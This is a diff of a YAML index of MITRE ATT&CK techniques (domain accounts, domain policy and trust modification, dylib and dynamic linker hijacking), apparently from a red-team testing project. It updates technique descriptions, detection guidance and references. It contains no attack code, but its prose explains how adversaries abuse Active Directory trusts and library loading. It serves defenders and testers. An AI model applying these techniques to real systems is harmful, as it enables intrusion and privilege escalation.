-        Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.
-      id: attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f
       type: attack-pattern
+      name: Domain Accounts
+      x_mitre_data_sources:
+      - 'Logon Session: Logon Session Metadata'
+      - 'User Account: User Account Authentication'
+      - 'Logon Session: Logon Session Creation'
+      x_mitre_version: '1.2'
+      modified: '2021-10-19T03:29:47.651Z'
+      created: '2020-03-13T20:21:54.758Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
@@ -13630,27 +13812,84 @@ privilege-escalation:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: initial-access
-      modified: '2020-09-16T19:42:11.787Z'
-      created: '2020-03-13T20:21:54.758Z'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      x_mitre_detection: |-
-        Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
-
-        Perform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.
-      x_mitre_data_sources:
-      - 'User Account: User Account Authentication'
-      - 'Logon Session: Logon Session Creation'
+      id: attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      description: |-
+        Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. (Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)
+
+        Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.
+      x_mitre_contributors:
+      - Jon Sternstein, Stern Security
+      x_mitre_detection: "Configure robust, consistent account activity audit policies
+        across the enterprise and with externally accessible services.(Citation: TechNet
+        Audit Policy) Look for suspicious account behavior across systems that share
+        accounts, either user, admin, or service accounts. Examples: one account logged
+        into multiple systems simultaneously; multiple accounts logged into the same
+        machine simultaneously; accounts logged in at odd times or outside of business
+        hours. Activity may be from interactive login sessions or process ownership
+        from accounts being used to execute binaries on a remote system as a particular
+        account. Correlate other security systems with login information (e.g., a
+        user has an active login session but has not entered the building or does
+        not have VPN access).\n\nOn Linux, check logs and other artifacts created
+        by use of domain authentication services, such as the System Security Services
+        Daemon (sssd).(Citation: Ubuntu SSSD Docs) \n\nPerform regular audits of domain
+        accounts to detect accounts that may have been created by an adversary for
+        persistence."
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1078/002
+        external_id: T1078.002
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/560.html
+        external_id: CAPEC-560
+        source_name: capec
+      - source_name: TechNet Credential Theft
+        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
+          Theft. Retrieved June 3, 2016.
+        url: https://technet.microsoft.com/en-us/library/dn535501.aspx
+      - url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts
+        description: Microsoft. (2019, August 23). Active Directory Accounts. Retrieved
+          March 13, 2020.
+        source_name: Microsoft AD Accounts
+      - source_name: TechNet Audit Policy
+        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
+          June 3, 2016.
+        url: https://technet.microsoft.com/en-us/library/dn487457.aspx
+      - url: https://ubuntu.com/server/docs/service-sssd
+        description: Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021.
+        source_name: Ubuntu SSSD Docs
     atomic_tests: []
   T1484:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Domain Policy Modification
+      x_mitre_data_sources:
+      - 'Active Directory: Active Directory Object Creation'
+      - 'Active Directory: Active Directory Object Deletion'
+      - 'Active Directory: Active Directory Object Modification'
+      - 'Command: Command Execution'
+      x_mitre_version: '2.0'
+      modified: '2021-02-09T15:52:24.598Z'
+      created: '2019-03-07T14:10:32.650Z'
+      x_mitre_permissions_required:
+      - Administrator
+      - User
+      x_mitre_defense_bypassed:
+      - System access controls
+      - File system access controls
+      x_mitre_platforms:
+      - Windows
+      - Azure AD
+      x_mitre_is_subtechnique: false
       id: attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d
       description: |-
         Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts.
@@ -13658,141 +13897,119 @@ privilege-escalation:
         With sufficient permissions, adversaries can modify domain policy settings. Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. Examples of such abuse include modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) Adversaries can also change configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).
 
         Adversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.
-      name: Domain Policy Modification
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1484
-        url: https://attack.mitre.org/techniques/T1484
-      - source_name: ADSecurity GPO Persistence 2016
-        url: https://adsecurity.org/?p=2716
-        description: 'Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence
-          #17: Group Policy. Retrieved March 5, 2019.'
-      - description: Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and
-          OUs. Retrieved March 5, 2019.
-        url: https://wald0.com/?p=179
-        source_name: Wald0 Guide to GPOs
-      - source_name: Harmj0y Abusing GPO Permissions
-        url: http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
-        description: Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved
-          March 5, 2019.
-      - source_name: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks
-        url: https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
-        description: MSRC. (2020, December 13). Customer Guidance on Recent Nation-State
-          Cyber Attacks. Retrieved December 30, 2020.
-      - source_name: Microsoft - Azure Sentinel ADFSDomainTrustMods
-        url: https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml
-        description: Microsoft. (2020, December). Azure Sentinel Detections. Retrieved
-          December 30, 2020.
-      - source_name: Microsoft 365 Defender Solorigate
-        url: https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/
-        description: Microsoft 365 Defender Team. (2020, December 28). Using Microsoft
-          365 Defender to protect against Solorigate. Retrieved January 7, 2021.
-      - source_name: Sygnia Golden SAML
-        url: https://www.sygnia.co/golden-saml-advisory
-        description: Sygnia. (2020, December). Detection and Hunting of Golden SAML
-          Attack. Retrieved January 6, 2021.
-      - source_name: CISA SolarWinds Cloud Detection
-        url: https://us-cert.cisa.gov/ncas/alerts/aa21-008a
-        description: CISA. (2021, January 8). Detecting Post-Compromise Threat Activity
-          in Microsoft Cloud Environments. Retrieved January 8, 2021.
-      - source_name: Microsoft - Update or Repair Federated domain
-        url: https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365
-        description: Microsoft. (2020, September 14). Update or repair the settings
-          of a federated domain in Office 365, Azure, or Intune. Retrieved December
-          30, 2020.
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2021-02-09T15:52:24.598Z'
-      created: '2019-03-07T14:10:32.650Z'
-      x_mitre_platforms:
-      - Windows
-      - Azure AD
-      x_mitre_data_sources:
-      - 'Active Directory: Active Directory Object Creation'
-      - 'Active Directory: Active Directory Object Deletion'
-      - 'Active Directory: Active Directory Object Modification'
-      - 'Command: Command Execution'
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      x_mitre_version: '2.0'
       x_mitre_detection: |-
         It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes <code>Set federation settings on domain</code> and <code>Set domain authentication</code>.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)
 
         Consider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)
-      x_mitre_defense_bypassed:
-      - System access controls
-      - File system access controls
-      x_mitre_is_subtechnique: false
-    atomic_tests: []
-  T1484.002:
-    technique:
-      id: attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee
-      description: |-
-        Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.
-
-        Manipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate.
-      name: Domain Trust Modification
       created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       external_references:
-      - source_name: mitre-attack
-        external_id: T1484.002
-        url: https://attack.mitre.org/techniques/T1484/002
-      - source_name: Microsoft - Azure AD Federation
-        url: https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed
-        description: Microsoft. (2018, November 28). What is federation with Azure
-          AD?. Retrieved December 30, 2020.
-      - source_name: Microsoft - Azure Sentinel ADFSDomainTrustMods
-        url: https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml
+      - url: https://attack.mitre.org/techniques/T1484
+        external_id: T1484
+        source_name: mitre-attack
+      - url: https://adsecurity.org/?p=2716
+        description: 'Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence
+          #17: Group Policy. Retrieved March 5, 2019.'
+        source_name: ADSecurity GPO Persistence 2016
+      - source_name: Wald0 Guide to GPOs
+        description: Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and
+          OUs. Retrieved March 5, 2019.
+        url: https://wald0.com/?p=179
+      - url: http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
+        description: Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved
+          March 5, 2019.
+        source_name: Harmj0y Abusing GPO Permissions
+      - url: https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
+        description: MSRC. (2020, December 13). Customer Guidance on Recent Nation-State
+          Cyber Attacks. Retrieved December 30, 2020.
+        source_name: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks
+      - url: https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml
         description: Microsoft. (2020, December). Azure Sentinel Detections. Retrieved
           December 30, 2020.
-      - source_name: Sygnia Golden SAML
-        url: https://www.sygnia.co/golden-saml-advisory
+        source_name: Microsoft - Azure Sentinel ADFSDomainTrustMods
+      - url: https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/
+        description: Microsoft 365 Defender Team. (2020, December 28). Using Microsoft
+          365 Defender to protect against Solorigate. Retrieved January 7, 2021.
+        source_name: Microsoft 365 Defender Solorigate
+      - url: https://www.sygnia.co/golden-saml-advisory
         description: Sygnia. (2020, December). Detection and Hunting of Golden SAML
           Attack. Retrieved January 6, 2021.
-      - source_name: CISA SolarWinds Cloud Detection
-        url: https://us-cert.cisa.gov/ncas/alerts/aa21-008a
+        source_name: Sygnia Golden SAML
+      - url: https://us-cert.cisa.gov/ncas/alerts/aa21-008a
         description: CISA. (2021, January 8). Detecting Post-Compromise Threat Activity
           in Microsoft Cloud Environments. Retrieved January 8, 2021.
-      - source_name: Microsoft - Update or Repair Federated domain
-        url: https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365
+        source_name: CISA SolarWinds Cloud Detection
+      - url: https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365
         description: Microsoft. (2020, September 14). Update or repair the settings
           of a federated domain in Office 365, Azure, or Intune. Retrieved December
           30, 2020.
+        source_name: Microsoft - Update or Repair Federated domain
+    atomic_tests: []
+  T1484.002:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: Domain Trust Modification
+      x_mitre_data_sources:
+      - 'Active Directory: Active Directory Object Creation'
+      - 'Active Directory: Active Directory Object Modification'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2021-01-11T18:21:20.213Z'
+      created: '2020-12-28T21:59:02.181Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2021-01-11T18:21:20.213Z'
-      created: '2020-12-28T21:59:02.181Z'
+      id: attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee
       x_mitre_platforms:
       - Windows
       - Azure AD
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      description: |-
+        Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.
+
+        Manipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate.
       x_mitre_contributors:
       - Blake Strom, Microsoft 365 Defender
       x_mitre_detection: |-
         Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes <code>Set federation settings on domain</code> and <code>Set domain authentication</code>.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)
 
         Monitor for PowerShell commands such as: <code>Update-MSOLFederatedDomain –DomainName: "Federated Domain Name"</code>, or <code>Update-MSOLFederatedDomain –DomainName: "Federated Domain Name" –supportmultipledomain</code>.(Citation: Microsoft - Update or Repair Federated domain)
-      x_mitre_permissions_required:
-      - Administrator
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
-      x_mitre_data_sources:
-      - 'Active Directory: Active Directory Object Creation'
-      - 'Active Directory: Active Directory Object Modification'
-      - 'Command: Command Execution'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1484/002
+        external_id: T1484.002
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed
+        description: Microsoft. (2018, November 28). What is federation with Azure
+          AD?. Retrieved December 30, 2020.
+        source_name: Microsoft - Azure AD Federation
+      - url: https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml
+        description: Microsoft. (2020, December). Azure Sentinel Detections. Retrieved
+          December 30, 2020.
+        source_name: Microsoft - Azure Sentinel ADFSDomainTrustMods
+      - url: https://www.sygnia.co/golden-saml-advisory
+        description: Sygnia. (2020, December). Detection and Hunting of Golden SAML
+          Attack. Retrieved January 6, 2021.
+        source_name: Sygnia Golden SAML
+      - url: https://us-cert.cisa.gov/ncas/alerts/aa21-008a
+        description: CISA. (2021, January 8). Detecting Post-Compromise Threat Activity
+          in Microsoft Cloud Environments. Retrieved January 8, 2021.
+        source_name: CISA SolarWinds Cloud Detection
+      - url: https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365
+        description: Microsoft. (2020, September 14). Update or repair the settings
+          of a federated domain in Office 365, Azure, or Intune. Retrieved December
+          30, 2020.
+        source_name: Microsoft - Update or Repair Federated domain
       identifier: T1484.002
     atomic_tests:
     - name: Add Federation to Azure AD
@@ -13879,55 +14096,27 @@ privilege-escalation:
         name: powershell
   T1574.004:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Dylib Hijacking
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Module: Module Load'
+      x_mitre_version: '2.0'
+      modified: '2021-04-27T20:19:15.212Z'
+      created: '2020-03-16T15:23:30.896Z'
+      x_mitre_defense_bypassed:
+      - Application control
+      x_mitre_platforms:
+      - macOS
+      x_mitre_is_subtechnique: true
       id: attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490
       description: |-
         Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with <code>@rpath</code>, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable.  Additionally, if weak linking is used, such as the <code>LC_LOAD_WEAK_DYLIB</code> function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.
 
         Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)
-      name: Dylib Hijacking
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574.004
-        url: https://attack.mitre.org/techniques/T1574/004
-      - external_id: CAPEC-471
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/471.html
-      - source_name: Wardle Dylib Hijack Vulnerable Apps
-        url: https://objective-see.com/blog/blog_0x46.html
-        description: Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore
-          Apps. Retrieved March 31, 2021.
-      - source_name: Wardle Dylib Hijacking OSX 2015
-        url: https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf
-        description: Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved
-          March 29, 2021.
-      - source_name: Github EmpireProject HijackScanner
-        url: https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py
-        description: Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib
-          Hijack Vulnerability Scanner. Retrieved April 1, 2021.
-      - source_name: Github EmpireProject CreateHijacker Dylib
-        url: https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py
-        description: Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib
-          Hijacker. Retrieved April 1, 2021.
-      - url: https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
-        description: Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved
-          July 10, 2017.
-        source_name: Writing Bad Malware for OSX
-      - source_name: wardle artofmalware volume1
-        url: https://taomm.org/vol1/pdfs.html
-        description: 'Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume
-          0x1: Analysis. Retrieved March 19, 2021.'
-      - source_name: MalwareUnicorn macOS Dylib Injection MachO
-        url: https://malwareunicorn.org/workshops/macos_dylib_injection.html#5
-        description: Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop.
-          Retrieved March 29, 2021.
-      - source_name: Apple Developer Doco Archive Run-Path
-        url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html
-        description: Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved
-          March 31, 2021.
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
@@ -13935,14 +14124,6 @@ privilege-escalation:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2021-04-27T20:19:15.212Z'
-      created: '2020-03-16T15:23:30.896Z'
-      x_mitre_platforms:
-      - macOS
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Module: Module Load'
       x_mitre_detection: "Monitor file systems for moving, renaming, replacing, or
         modifying dylibs. Changes in the set of dylibs that are loaded by a process
         (compared to past behavior) that do not correlate with known software, patches,
@@ -13956,13 +14137,68 @@ privilege-escalation:
         Objective-See's Dylib Hijacking Scanner can be used to identify applications
         vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation:
         Github EmpireProject HijackScanner)"
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '2.0'
-      x_mitre_defense_bypassed:
-      - Application control
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574/004
+        external_id: T1574.004
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/471.html
+        external_id: CAPEC-471
+        source_name: capec
+      - url: https://objective-see.com/blog/blog_0x46.html
+        description: Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore
+          Apps. Retrieved March 31, 2021.
+        source_name: Wardle Dylib Hijack Vulnerable Apps
+      - url: https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf
+        description: Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved
+          March 29, 2021.
+        source_name: Wardle Dylib Hijacking OSX 2015
+      - url: https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py
+        description: Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib
+          Hijack Vulnerability Scanner. Retrieved April 1, 2021.
+        source_name: Github EmpireProject HijackScanner
+      - url: https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py
+        description: Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib
+          Hijacker. Retrieved April 1, 2021.
+        source_name: Github EmpireProject CreateHijacker Dylib
+      - source_name: Writing Bad Malware for OSX
+        description: Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved
+          July 10, 2017.
+        url: https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
+      - url: https://taomm.org/vol1/pdfs.html
+        description: 'Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume
+          0x1: Analysis. Retrieved March 19, 2021.'
+        source_name: wardle artofmalware volume1
+      - url: https://malwareunicorn.org/workshops/macos_dylib_injection.html#5
+        description: Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop.
+          Retrieved March 29, 2021.
+        source_name: MalwareUnicorn macOS Dylib Injection MachO
+      - url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html
+        description: Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved
+          March 31, 2021.
+        source_name: Apple Developer Doco Archive Run-Path
     atomic_tests: []
   T1574.006:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Dynamic Linker Hijacking
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Module: Module Load'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '2.0'
+      modified: '2021-04-27T19:55:18.453Z'
+      created: '2020-03-13T20:09:59.569Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: true
       id: attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825
       description: "Adversaries may execute their own malicious payloads by hijacking
         environment variables the dynamic linker uses to load shared libraries. During
@@ -14000,66 +14236,6 @@ privilege-escalation:
         functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation:
         Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina
         Bypass) "
-      name: Dynamic Linker Hijacking
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574.006
-        url: https://attack.mitre.org/techniques/T1574/006
-      - external_id: CAPEC-13
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/13.html
-      - external_id: CAPEC-640
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/640.html
-      - source_name: Man LD.SO
-        url: https://www.man7.org/linux/man-pages/man8/ld.so.8.html
-        description: Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved
-          June 15, 2020.
-      - source_name: TLDP Shared Libraries
-        url: https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html
-        description: The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved
-          January 31, 2020.
-      - source_name: Apple Doco Archive Dynamic Libraries
-        url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html
-        description: Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved
-          March 24, 2021.
-      - source_name: Baeldung LD_PRELOAD
-        url: https://www.baeldung.com/linux/ld_preload-trick-what-is
-        description: baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved
-          March 24, 2021.
-      - source_name: Code Injection on Linux and macOS
-        url: https://www.datawire.io/code-injection-on-linux-and-macos/
-        description: 'Itamar Turner-Trauring. (2017, April 18). “This will only hurt
-          for a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved
-          December 20, 2017.'
-      - url: http://hick.org/code/skape/papers/needle.txt
-        description: skape. (2003, January 19). Linux x86 run-time process manipulation.
-          Retrieved December 20, 2017.
-        source_name: Uninformed Needle
-      - url: http://phrack.org/issues/51/8.html
-        description: halflife. (1997, September 1). Shared Library Redirection Techniques.
-          Retrieved December 20, 2017.
-        source_name: Phrack halfdead 1997
-      - source_name: Brown Exploiting Linkers
-        url: http://www.nth-dimension.org.uk/pub/BTL.pdf
-        description: 'Tim Brown. (2011, June 29). Breaking the links: Exploiting the
-          linker. Retrieved March 29, 2021.'
-      - source_name: TheEvilBit DYLD_INSERT_LIBRARIES
-        url: https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/
-        description: Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection
-          in macOS / OSX. Retrieved March 26, 2020.
-      - source_name: Timac DYLD_INSERT_LIBRARIES
-        url: https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/
-        description: Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES.
-          Retrieved March 26, 2020.
